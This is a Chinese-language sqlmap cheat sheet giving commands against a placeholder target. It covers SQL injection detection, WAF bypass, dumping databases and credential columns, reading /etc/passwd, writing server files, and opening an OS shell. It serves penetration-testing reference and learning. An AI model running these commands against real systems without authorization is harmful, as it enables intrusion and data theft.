基本检测
检测 GET 参数
1
| sqlmap -u "http://target.com/page?param=value"
|
检测 POST 参数
1
| sqlmap -u "http://target.com/login" --data="username=admin&password=pass"
|
只检测特定参数
1
| sqlmap -u "http://target.com/page?id=1&name=test" -p id
|
添加会话 Cookie
1
| sqlmap -u "http://target.com/protected" --cookie="PHPSESSID=abc123"
|
指定数据库类型
1
| sqlmap -u "http://target.com" --dbms=mysql
|
使用随机 User-Agent
1
| sqlmap -u "http://target.com" --random-agent
|
使用代理
1
| sqlmap -u "http://target.com" --proxy="http://127.0.0.1:8080"
|
使用 tamper 脚本绕过防护
1
| sqlmap -u "http://target.com" --tamper=space2comment
|
风险级别和测试强度
–level 参数(测试级别)
Level 1:仅测试 GET 参数(默认)
Level 2:测试 GET 和 POST 参数
Level 3:增加 HTTP Cookie 头测试
Level 4:增加 HTTP User-Agent 和 Referer 头测试
Level 5:测试所有 HTTP 头(包括 Host 头)
–risk 参数(风险级别)
Risk 1:使用低风险 payload(如基于错误的注入)
Risk 2:增加基于时间的盲注和布尔盲注
Risk 3:使用 OR-based 注入(可能修改数据)
1
| sqlmap -u "http://target.com" --level=5 --risk=3
|
检测数据库版本
1
| sqlmap -u "http://target.com" --banner
|
检测当前用户
1
| sqlmap -u "http://target.com" --current-user
|
获取所有数据库名称
1
| sqlmap -u "http://target.com" --dbs
|
获取当前数据库名称
1
| sqlmap -u "http://target.com" --current-db
|
获取指定数据库的所有表
1
| sqlmap -u "http://target.com" -D <database_name> --tables
|
获取当前数据库的所有表
1
| sqlmap -u "http://target.com" --tables
|
获取指定表的所有列
1
| sqlmap -u "http://target.com" -D <database_name> -T <table_name> --columns
|
提取整个表的数据
1
| sqlmap -u "http://target.com" -D <database_name> -T <table_name> --dump
|
提取特定列的数据
1
| sqlmap -u "http://target.com" -D <database_name> -T <table_name> -C "username,password" --dump
|
获取数据库用户列表
1
| sqlmap -u "http://target.com" --users
|
获取用户权限
1
| sqlmap -u "http://target.com" --privileges
|
获取操作系统信息
1
| sqlmap -u "http://target.com" --os-info
|
读取服务器文件(需要高权限)
1
| sqlmap -u "http://target.com" --file-read "/etc/passwd"
|
写入文件(需要高权限)
1
| sqlmap -u "http://target.com" --file-write "local_file.txt" --file-dest "/remote/path/file.txt"
|
执行操作系统命令
1
| sqlmap -u "http://target.com" --os-cmd "id"
|
获取交互式 shell
1
| sqlmap -u "http://target.com" --os-shell
|
提取所有数据库的所有数据
1
| sqlmap -u "http://target.com" --dump-all
|
使用多线程加速
1
| sqlmap -u "http://target.com" --threads=10
|
使用代理(如 Burp Suite)
1
| sqlmap -u "http://target.com" --proxy="http://127.0.0.1:8080"
|
使用 tamper 脚本绕过 WAF
1
| sqlmap -u "http://target.com" --tamper=space2comment
|
保存会话以便后续使用
1
| sqlmap -u "http://target.com" --save
|
清除缓存
1
| sqlmap -u "http://target.com" --purge
|